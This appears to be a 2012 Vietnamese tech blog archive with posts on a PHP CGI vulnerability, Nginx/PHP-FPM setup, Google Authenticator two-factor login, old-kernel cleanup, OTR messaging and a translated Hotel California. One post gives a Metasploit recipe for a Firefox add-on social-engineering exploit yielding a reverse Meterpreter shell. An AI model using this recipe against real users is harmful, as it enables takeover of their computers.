Thứ hai, ngày 07 tháng năm năm 2012

PHP CGI Argument Injection Exploit

PHP CGI Argument Injection Exploit lỗi bảo mật nguy hiểm được công bố từ ngày 05-05-2012 , các phiên bản PHP 5.3.12 trở về trước đều bị ảnh hưỡng.

Chú ý kiểm tra các package trên server php-common và php-cli (nâng cấp ngay phiên bản mới nhất)

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Mới test thử trên Centos 6.2 chưa cập nhật bản mới nhất thì server dính lỗi này .

Gnome Connection Manager

General Features

  • Gnome Connection Manager is licensed under the GNU General Public License version 3
  • It's designed in Glade and written in python, so it just need PyGTK to run in any linux environment
  • Can store passwords for easy access to hosts
  • Supports multiple ssh tunnels for each host
  • Unlimited vertical/horizontal window splitting. You can have as many visible consoles as you want
  • Drag&Drop tabs between consoles
  • Connect to multiple hosts with just one click
  • Grouping hosts
  • Cluster mode. Work on several hosts at the same time
  • Customizable shortcuts
  • Send custom commands to hosts
  • It's free, and the source is included in the download

Thứ tư, ngày 25 tháng tư năm 2012

Off-the-Record Messaging

Off-the-Record (OTR) Messaging allows you to have private conversations over instant messaging by providing:

Encryption
No one else can read your instant messages.
Authentication
You are assured the correspondent is who you think it is.
Deniability
The messages you send do not have digital signatures that are checkable by a third party. Anyone can forge messages after a conversation to make them look like they came from you. However, during a conversation, your correspondent is assured the messages he sees are authentic and unmodified.
Perfect forward secrecy
If you lose control of your private keys, no previous conversation is compromised.

More info
http://www.cypherpunks.ca/otr/

Thứ năm, ngày 12 tháng tư năm 2012

Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution

This exploit dynamically creates a .xpi add-on file. The resulting bootstrapped Firefox add-on is presented to the victim via a web page with. The victim's Firefox browser will pop a dialog asking if they trust the add-on. Once the user clicks "install", the add-on is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the add-on is marked to be "bootstrapped". As the add-on will execute the payload after each Firefox restart, an option can be given to automatically uninstall the add-on once the payload has been executed.

use exploit/multi/browser/firefox_xpi_bootstrapped_addon

set SRVHOST 192.168.178.100 
set TARGET 1 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 192.168.178.100 
exploit  
getuid 
sysinfo
http://www.exploit-db.com/exploits/18730/

eHour - Timesheet Management

eHour is an open source webbased time tracking tool for companies and organizations who need accurate information on how much time is spend on projects by their people.

eHour makes the amount of time your people spend on projects visible and available as simple and user friendly as possible.

Thứ ba, ngày 03 tháng tư năm 2012

Xoá bỏ Kernels cũ trong Ubuntu và Fedora

Khị bạn sử dụng cập nhật kernel bằng yum update hay apt-get update thì sau khi cập nhật kernel mới nhất xong, bạn muốn xóa bỏ kernel cũ còn dư thừa trước đó thì cách làm như sau :

Ubuntu
$ dpkg --list | grep linux-image
$ uname -r
$ sudo apt-get purge linux-image-3.0.0-12-generic (kernel cũ cần xóa)
$ sudo update-grub2

Trên Fedora
$ su -c 'package-cleanup --oldkernels'

Thứ tư, ngày 28 tháng ba năm 2012

FreeBSD: NginX+PHP 5.3 FastCGI (FPM) Installation

NginX (pronounced “engine x”), is a high performance web server and a reverse proxy server. This server is well-known for its low memory footprint rather than Apache. You can refer here for Nginx vs Apache Performance Benchmark result. Nginx is way too better for Apache.

Popular websites that run on Nginx are SourceForge, WordPress, and Hulu. By making Nginx run in FreeBSD, you can deliver light, efficient, powerful, stable and secure web server in a simple way.

What is PHP? I think you all already know and no need to explain further. The PHP handler we will use is FastCGI Process Manager (FPM), is an alternative PHP FastCGI implementation with some additional features useful for sites of any size, especially busier sites. This setup will surely deliver high-performance web service with low specs hardware.

1. Lets start by installing Nginx web server:

cd /usr/ports/www/nginx
make install clean

Once installation start, it will prompt nginx module selection page. You can select any Nginx module you want, but for me, I will select following module to be compiled right away:

[X] HTTP_MODULE Enable HTTP module
[X] HTTP_ADDITION_MODULE Enable http_addition module
[X] HTTP_CACHE_MODULE Enable http_cache module
[X] HTTP_DAV_MODULE Enable http_webdav module
[X] HTTP_FLV_MODULE Enable http_flv module
[X] HTTP_GEOIP_MODULE Enable http_geoip module
[X] HTTP_GZIP_STATIC_MODULE Enable http_gzip_static module
[X] HTTP_IMAGE_FILTER_MODULE Enable http_image_filter module
[X] HTTP_PERL_MODULE Enable http_perl module
[X] HTTP_RANDOM_INDEX_MODULE Enable http_random_index module
[X] HTTP_REALIP_MODULE Enable http_realip module
[X] HTTP_REWRITE_MODULE Enable http_rewrite module
[X] HTTP_SECURE_LINK_MODULE Enable http_secure_link module
[X] HTTP_SSL_MODULE Enable http_ssl module
[X] HTTP_STATUS_MODULE Enable http_stub_status module
[X] HTTP_SUB_MODULE Enable http_sub module
[X] HTTP_XSLT_MODULE Enable http_xslt module

If you receive any prompt after that, just accept all values if you want to have a complete setup, or else select what you want, if you know what you are doing.

2. Web server installation done. Make sure Nginx is enabled by adding following line to /etc/rc.conf:

nginx_enable="YES"

3. Before we configure and start the web server, we need to install PCRE, libtool, PHP with FPM and PHP extensions. Follow these steps:

cd /usr/ports/devel/pcre
make install clean
cd /usr/ports/devel/libtool
make install clean
cd /usr/ports/lang/php5
make install clean

During the selection module page, select FPM (FastCgi Process Manager).

cd /usr/ports/lang/php5-extensions
make install clean

4. Since PHP-FPM is a service, we need to add this in /etc/rc.conf:

php_fpm_enable="YES"

5. By default, there is no php.ini specified. So we need to copy the php.ini which has been prepared during port installation.

cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini

6. Start the PHP-FPM service :

/usr/local/etc/rc.d/php-fpm start

7. Now PHP-FPM already started at localhost port 9000. You can check this using netstat command. Lets create the web and logs directory used to host website (ignore this if you already have the directory):

mkdir /home/mydomain/public_html
mkdir /home/mydomain/logs
8. Lets configure Nginx so it know where is the home directory, what is the virtual host name, how to handle PHP and so on. Open the configuration file using text editor located under /usr/local/etc/nginx/nginx.conf and make sure following values are not commented (#) or you can copy this example and change to the value you want:

user nobody;
worker_processes 1;

error_log logs/error.log;

pid logs/nginx.pid;

events {
worker_connections 1024;
}

http {
include mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

sendfile on;

keepalive_timeout 65;

gzip on;

# We define the virtual host here
server {
listen 192.168.60.2:80;
server_name mydomain.net www.mydomain.net;

access_log /home/mydomain/logs/access.log main;

location / {
root /home/mydomain/public_html;
index index.html index.htm index.php;
}
# Let nginx know how to handle PHP using fastcgi
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /home/mydomain/public_html$fastcgi_script_name;
include fastcgi_params;
}

location ~ /\.ht {
deny all;
}
}
}

9. After that, we good to go. But before start Nginx it is good if we check the configuration first:

nginx -t /usr/local/etc/rc.d/nginx start

10. Now, Nginx and PHP-FPM should run correctly. If you do any changes on php.ini files or php extension file, you can restart PHP-FPM and reload Nginx:

/usr/local/etc/rc.d/php-fpm restart 
/
usr/local/etc/rc.d/nginx reload

Using Google Authenticator For Your Website

Google has started offering two-factor authentication for Google logins, using Google Authenticator. They have applications available for iPhone, Android, and Blackberry that give time-based passwords based on the proposed TOTP (Time-based One Time Password) draft standard.

The Google code provides a command line program that can generate secret keys as well as a PAM module, but it turns out to be very little code to authenticate a TOTP, thereby providing two-factor authentication to your website very easily.

To give the user the key, you’ll need to generate a cryptographically-secure 10 byte random key, presented to the user as a base32 16-character string. They can either enter this string directly, or you can use Google charts to provide a barcode that they can scan into the Google Authenticator application:

def get_barcode_image(username, domain, secretkey):

url = "https://www.google.com/chart"

url += "?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/"

url += username + "@" + domain + "%3Fsecret%3D" + secretkey

return url

For an example of what a code looks like, click here, or, look below:

After the user has a secret key from you and has entered it into Google Authenticator either by typing it in directly or scanning in the barcode, you have to be able to verify the key during login (for example). The code to authenticate is only a few lines in Python:

import time

import struct

import hmac

import hashlib

import base64

def authenticate(secretkey, code_attempt):

tm = int(time.time() / 30)

secretkey = base64.b32decode(secretkey)

# try 30 seconds behind and ahead as well

for ix in [-1, 0, 1]:

# convert timestamp to raw bytes

b = struct.pack(">q", tm + ix)

# generate HMAC-SHA1 from timestamp based on secret key

hm = hmac.HMAC(secretkey, b, hashlib.sha1).digest()

# extract 4 bytes from digest based on LSB

offset = ord(hm[-1]) & 0x0F

truncatedHash = hm[offset:offset+4]

# get the code from it

code = struct.unpack(">L", truncatedHash)[0]

code &= 0x7FFFFFFF;

code %= 1000000;

if ("%06d" % code) == str(code_attempt):

return True

return False

Source :

http://www.brool.com/index.php/using-google-authenticator-for-your-website

Two factor user authentication with Google Authenticator

Google just made its Google Authenticator widely available, so it’s a good way to make your Webby extra secure with two factor authentication.

In case you’re not familiar with the term, this form of authentication requires something you have (in this case your mobile phone) and something you know (your password).

You’ll need either an iPhone, an Android enabled device or a Blackberry.

Prerequisites

Before starting, go download and install the Google Authenticator to your phone.

Installing Google Authenticator on Ubuntu 10.04

First you need to install three prerequisites: gcc, mercurial and libpam0g-dev (make sure you either execute this steps asroot or use sudo):

$ apt-get update $ apt-get -yy install gcc mercurial libpam0g-dev 

Now let’s clone the repo and install it:

$ cd ~ $ hg clone https://google-authenticator.googlecode.com/hg/ \   google-authenticator $ cd google-authenticator/libpam $ make install 

You should see something like this:

... some gcc compilation output ... cp pam_google_authenticator.so /lib/security cp google-authenticator /usr/local/bin sudo chmod 755 /lib/security/pam_google_authenticator.so              \                /usr/local/bin/google-authenticator 

Configuring Google Authenticator

First, edit /etc/ssh/sshd_config and change the ChallengeResponseAuthentication from no to yes, here:

# Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no 

It should now be:

# Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication yes 

Now, change the PAM configuration to include the Google Authenticator module. Edit /etc/pam.d/common-auth and insert a new line between the comment and the first auth line:

# here are the per-package modules (the "Primary" block) auth    [success=1 default=ignore]      pam_unix.so nullok_secure # here's the fallback if no module succeeds 

Leaving it this way:

# here are the per-package modules (the "Primary" block) auth    required                        pam_google_authenticator.so auth    [success=1 default=ignore]      pam_unix.so nullok_secure # here's the fallback if no module succeeds 

User Configuration

Create a configuration for the current shell user:

$ google-authenticator https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/root@ some#some%3Fsecret%3DPKRTA4H5GLN7OTLA Your new secret key is: PKRTA4H5GLN7OTLA Your verification code is 613177 Your emergency scratch codes are:   80419043   52322813   46557473   35541313   66835603  Do you want me to update your "~/.google_authenticator" file (y/n) y  Do you want to disallow multiple uses of the same authentication token? This restricts you to one login about every 30s, but it in creases your chances to notice or even prevent man-in-the-middle attacks (y/n) y 

Now, copy and paste the generated URL to your browser and a QRCode will be generated:

Open the Google Authenticator app on your phone, choose Scan Barcode and point the camera to your browser. A new key should be added automatically to your list. This code will change every 30 seconds. Please note that if you don’t have a barcode scanner you will be prompted to install one.

If you’re still unsure how to use your phone’s app, please check these step by step instructions on Google Accounts help.

Also, save the scratch codes, they can be used when you don’t have your phone available.

You can repeat these steps for each user you want to add two factor authentication for.

Restarting ssh

Now save and exit your editor and restart the ssh daemon. IMPORTANT: do not close this ssh session after restarting the ssh service.

$ /etc/init.d/ssh restart  * Restarting OpenBSD Secure Shell server sshd      [ OK ] 

Now open another ssh session and try to log in. You should now be prompted for the Verification code and your Password. Enter the code as it appears on your phone, and your usual password for the user:

$ ssh root@100.200.100.200 Verification code:  Password:  Linux ahost 2.6.32-24-generic-pae #39-Ubuntu SMP Wed Jul 28 07:39:26 UTC 2010 i686 Ubuntu 10.04.1 LTS  Welcome to Ubuntu!  * Documentation:  https://help.ubuntu.com/    System information as of Sat Feb 19 01:06:03 EST 2011    System load:  0.0               Processes:           105   Usage of /:   30.6% of 4.85GB   Users logged in:     1   Memory usage: 44%               IP address for eth0: 100.200.100.200   Swap usage:   3%    Graph this data and manage this system at https://landscape.canonical.com/  root@ahost:~# 

If by any chance the authentication failed after a couple of tries, it’s recommended that you undo the changes you’ve made to /etc/ssh/sshd_config and to /etc/pam.d/common-auth, and restart the ssh daemon one more time. The authentication method should revert to password-only (or publickey, depending on what you had before).

Thứ ba, ngày 20 tháng ba năm 2012

Khách sạn California

Hotel California - The Eagles

On a dark desert highway, cool wind in my hair
Warm smell of colitas, rising up through the air
Up ahead in the distance, I saw a shimmering light
My head grew heavy and my sight grew dim
I had to stop for the night
There she stood in the doorway;
I heard the mission bell
And I was thinking to myself,
'this could be heaven or this could be hell'
Then she lit up a candle and she showed me the way
There were voices down the corridor,
I thought I heard them say...

Welcome to the hotel california
Such a lovely place
Such a lovely face
Plenty of room at the hotel california
Any time of year, you can find it here

Her mind is tiffany-twisted, she got the mercedes bends
She got a lot of pretty, pretty boys, that she calls friends
How they dance in the courtyard, sweet summer sweat.
Some dance to remember, some dance to forget

So I called up the captain,
'please bring me my wine'
He said, 'we haven't had that spirit here since nineteen sixty nine'
And still those voices are calling from far away,
Wake you up in the middle of the night
Just to hear them say...

Welcome to the hotel california
Such a lovely place
Such a lovely face
They livin' it up at the hotel california
What a nice surprise, bring your alibis

Mirrors on the ceiling,
The pink champagne on ice
And she said 'we are all just prisoners here, of our own device'
And in the master's chambers,
They gathered for the feast
The stab it with their steely knives,
But they just can't kill the beast

Last thing I remember, I was
Running for the door
I had to find the passage back
To the place I was before
'relax,' said the night man,
We are programmed to receive.
You can checkout any time you like,
But you can never leave!


Lời người dịch:

Hotel California là một ca khúc của nhóm The Eagles, được Don Henley, Glenn Frey và Don Felder sáng tác và xuất bản năm 1977.

Có nhiều lý do để tôi dịch ca từ này sang tiếng Việt:

1/ Đây là một trong những bài hát mà tôi yêu thích nhất, cả nhạc lẫn lời.
2/ Lời bài hát này có thể được đọc như một truyện ngắn hay một bài thơ siêu thực rất lạ.
3/ Tôi đang du học ở Canada, và tuần này tôi có cơ hội sang Mỹ du ngoạn lần đầu. Ngày đầu tiên tôi đặt chân đến California, bài hát Hotel California thình lình trở lại trong ký ức tôi trong lúc tôi “check in” ở một khách sạn nhỏ. Tôi hát thầm trong đầu, để rồi bị ám ảnh bởi câu cuối cùng: “You can checkout any time you like, but you can never leave!” (Bạn có thể trả phòng bất kỳ lúc nào bạn muốn, nhưng bạn không bao giờ có thể rời khỏi nơi đây!).

Trân trọng cám ơn dịch giả Hoàng Ngọc-Tuấn đã ân cần trao đổi và giải thích cho tôi những từ khó hiểu trong bài hát, và tôi xin chia sẻ bản dịch này cùng bạn đọc.

Lê Cao Phong


Trên một xa lộ băng qua sa mạc tối tăm, gió mát lùa vào tóc tôi
Mùi đọt lá cần sa nồng ấm toả lên trong không khí
Xa xa phía trước, tôi thấy một ánh đèn lung linh
Đầu tôi trở nên nặng trĩu và mắt tôi nhoà đi
Tôi phải dừng lại để trú qua đêm

Bà chủ đứng đó nơi lối vào
Tôi nghe tiếng chuông nhà thờ
Và tôi tự nhủ
“Đây có thể là thiên đường hay đây có thể là địa ngục”
Rồi bà thắp một ngọn nến và bà dẫn lối cho tôi
Có tiếng người lao xao dưới hành lang
Tôi nghĩ tôi nghe họ nói...

Chào mừng bạn đến Khách sạn California
Thật là một nơi đáng yêu...
Có rất nhiều phòng ở Khách sạn California
Bất kỳ lúc nào trong năm, bạn đều có chỗ trú ngụ ở đây

Bà chủ mê nữ trang đắt tiền, bà có xe Mercedes-Benz
Bà có cả đống thanh niên đẹp trai, mà bà gọi là những người bạn
Họ khiêu vũ ở sân trong, toát mồ hôi giữa mùa hè nồng nàn
Có người nhảy múa để nhớ, có người nhảy múa để quên

Thế nên tôi gọi ông quản lý
“Vui lòng mang rượu vang cho tôi”
Ông nói “Chúng tôi không có thứ rượu đó ở đây từ năm một ngàn chín trăm sáu mươi chín”
Và những tiếng nói ấy vẫn còn văng vẳng
Gọi bạn thức dậy lúc nửa đêm
Chỉ để nghe họ nói...

Chào mừng bạn đến Khách sạn California
Thật là một nơi đáng yêu...
Người ta chơi bời lịch lãm ở Khách sạn California
Thật là một điều bất ngờ thú vị, hãy kiếm cớ mà đến đây

Những tấm gương trên trần
Rượu sâm-banh ướp lạnh
Và bà chủ nói
“Tất cả chúng ta ở đây đều là những tù nhân của những phương tiện của chính mình”
Và trong những đại sảnh
Họ tụ tập để ăn tiệc
Họ đâm những lưỡi dao thép vào con thú
Nhưng họ không thể nào giết nó chết

Điều cuối cùng tôi còn nhớ là
Tôi chạy về phía lối ra
Tôi phải tìm đường trở về
Nơi trước kia tôi đã sống
“Hãy thong thả” người trực đêm nói
“Chúng tôi chỉ có kế hoạch nhận khách vào
Bạn có thể trả phòng bất kỳ lúc nào bạn muốn
Nhưng bạn không bao giờ có thể rời khỏi nơi đây!”

Bản dịch của Lê Cao Phong
Nguồn tienve dot org